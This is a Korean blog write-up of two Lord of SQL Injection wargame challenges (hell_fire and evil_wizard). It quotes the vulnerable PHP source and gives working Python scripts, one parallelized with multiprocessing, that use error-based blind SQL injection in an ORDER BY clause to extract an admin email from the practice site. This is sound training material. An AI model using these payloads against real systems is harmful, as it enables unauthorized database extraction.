[LOS] 23,24번 문제 풀이(hell_fire,evil_wizard)

2 분 소요

💡 los.rubiya.kr 23번,24번 문제에 대한 풀이입니다. Blind SQL Injection을 멀티프로세싱으로 처리해 보았습니다.

23번(hell_fire)

문제

image

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

풀이

이번 문제는 입력 값이 order by 절에 입력이 됩니다. 처음에 시도한 방법은 if(조건문,1,3) 방식으로, 조건문의 결과가 참이면 1, 거짓이면 3이 출력되게 하여 조건문의 결과를 판단하려고 했습니다.

다음과 같이 order by 1과 3의 결과가 다르기 때문에, if 문을 이용하면 될 거라 생각했습니다.

image


image

하지만 이유는 잘 모르겠는데, order by 절 뒤에는 서브쿼리나, 함수가 사용되면 결과 값과 상관없는 결과가 나옵니다. 예를 들어 if(1=1,1,2) 라고 하면 1이 반환될거라 생각했지만, 제가 생각하는 방식대로 처리되지 않고, 결과와 상관없이 일정하게 출력이 됩니다. -> if(1=1,1,2) 나 if(1=1,1000,2)나 출력결과가 같음

그래서 이번 문제도 error based 방식으로 접근해 봤습니다.

차이가 나는 점은 오류가 발생하지 않으면 결과가 출력되고, 서브 쿼리 내에서 오류가 발생하면 결과가 출력되지 않는다는 점이었습니다.

  1. order=(select 1 where if(1=1,1,pow(12341234,12341234)))

image

-> 조건문이 참일때는, 1이 선택되어서 오류가 발생하지 않아서 테이블이 출력됩니다.

  1. order=(select 1 where if(1=2,1,pow(12341234,12341234)))

image

-> 조건문이 거짓일때는, pow(12341234,12341234)가 선택되어 실행되기 때문에 오류가 발생하여 테이블이 출력되지 않습니다.

이를 이용한 error based blind sql 코드입니다.

import requests
import string

url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
params={'order' : None}
cookies = {'PHPSESSID' :'1t87momi7f10m7tl6kkv6t0lob' }

# 이메일 길이
for i in range(30):
    payload="(select 1 where if(id='admin' and length(email)={},pow(12341234,12341234),1))".format(i)
    params['order'] = payload
    print(payload)
    response = requests.get(url,params=params,cookies=cookies)
    if("rubiya805@gmail.cm" not in response.text):
        print("find the pw_length",i)
        break

# 이메일 길이 28

email = ''
for i in range(1,29):
    for j in string.printable:
        payload="(select 1 where if(id='admin' and ascii(substr(email,{},1))={},pow(12341234,12341234),1))".format(i,ord(j))
        params['order'] = payload
        print(payload)
        response = requests.get(url,params=params,cookies=cookies)
        if("rubiya805@gmail.cm" not in response.text):
            email += j
            print("find the email",email)
            break

print(email)

image

image

24번(evil_wizard)

문제

image

23번 문제인 hell_fire와 필터링된 문자에서만 차이가 있고 나머진 차이가 없는 문제입니다.

필터링의 차이는 다음과 같습니다

# hell_fire 문제에서의 필터링
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");

# evil_wizard 문제에서의 필터링
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");

sleep과 benchmark함수에 대한 필터링이 추가되었습니다. 아마 23번을 Time Based blind SQL Injection으로 풀었다면 다른 방법으로 풀어야 할텐데 저는 Time Based Blind SQL Injection이 아닌 Error based로 풀었기 때문에 해당 필터링에 상관없이 동일하게 코드를 작성하면 정답이 나옵니다..^

풀이

그런데 이번에는 긴 문자에 대해서 멀티프로세싱을 이용하여 Blind sql injection을 수행해 봤습니다. 멀티프로세싱은 병렬적으로 처리하는 프로세스에서 수행하면 성능이 드라마틱하게 향상이 되는데, 역시 blind sql injection에 적용을 해보니 3~4배 정도는 빠르게 정답을 찾아냈습니다.

다음은 멀티 프로세싱을 이용하여 작성한 코드입니다.

from multiprocessing import Pool
import requests
import string

url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
params={'order' : None}
cookies = {'PHPSESSID' :'1t87momi7f10m7tl6kkv6t0lob' }

# 이메일 길이
for i in range(28,40):
    payload="(select 1 where if(id='admin' and length(email)={},pow(12341234,12341234),1))".format(i)
    params['order'] = payload
    print(payload)
    response = requests.get(url,params=params,cookies=cookies)
    if("rubiya805@gmail.com" not in response.text):
        print("find the pw_length",i)
        break

# 이메일 길이 28

def blind_sql_inject(i):
    for j in string.printable:
        payload="(select 1 where if(id='admin' and ascii(substr(email,{},1))={},pow(12341234,12341234),1))".format(i,ord(j))
        params['order'] = payload
        response = requests.get(url,params=params,cookies=cookies)
        if("rubiya805@gmail.com" not in response.text):
            print("find idx : {}, character : {}".format(i,j))
            return j

if __name__=='__main__':
    with Pool(5) as p:
        ret = p.map(blind_sql_inject,[i for i in range(1,31)])
    for i in ret:
        print(i,end='')
         

image

image

댓글남기기